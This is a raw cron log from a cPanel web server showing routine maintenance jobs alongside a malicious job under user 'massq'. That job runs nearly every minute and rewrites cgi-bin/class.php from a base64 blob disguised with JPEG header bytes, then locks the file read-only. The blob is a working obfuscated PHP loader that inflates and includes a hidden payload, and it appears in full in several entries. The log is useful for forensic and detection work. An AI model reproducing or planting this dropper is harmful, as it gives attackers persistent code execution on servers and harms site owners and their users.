Sep 10 21:58:01 server CROND[32614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:58:01 server CROND[32615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 21:59:01 server CROND[540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 21:59:01 server CROND[541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 21:59:01 server CROND[542]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:00:01 server CROND[958]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 22:00:01 server CROND[961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:00:01 server CROND[963]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:00:01 server CROND[964]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 22:00:01 server CROND[967]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:00:01 server CROND[971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:00:01 server CROND[968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:00:01 server CROND[965]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 22:00:01 server CROND[966]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 22:00:01 server CROND[969]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 22:01:01 server CROND[2008]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:01:01 server CROND[2007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:01:01 server CROND[2009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:01:01 server CROND[2010]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 22:01:01 server run-parts(/etc/cron.hourly)[2010]: starting 0anacron
Sep 10 22:01:01 server run-parts(/etc/cron.hourly)[2031]: finished 0anacron
Sep 10 22:02:01 server CROND[2495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:02:01 server CROND[2496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:02:01 server CROND[2497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:03:01 server CROND[2904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:03:01 server CROND[2905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:03:01 server CROND[2906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:04:01 server CROND[3269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:04:01 server CROND[3270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:04:01 server CROND[3271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:05:01 server CROND[3655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:05:01 server CROND[3656]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:05:01 server CROND[3661]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 22:05:01 server CROND[3663]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:05:01 server CROND[3662]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 22:05:01 server CROND[3664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:05:01 server CROND[3660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:05:01 server CROND[3659]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 22:06:01 server CROND[4492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:06:01 server CROND[4493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:06:01 server CROND[4494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:07:01 server CROND[4862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:07:01 server CROND[4863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:07:01 server CROND[4865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:08:01 server CROND[5319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:08:01 server CROND[5320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:08:01 server CROND[5321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:09:01 server CROND[5688]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 22:09:01 server CROND[5689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:09:01 server CROND[5690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:09:01 server CROND[5691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:10:01 server CROND[6073]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
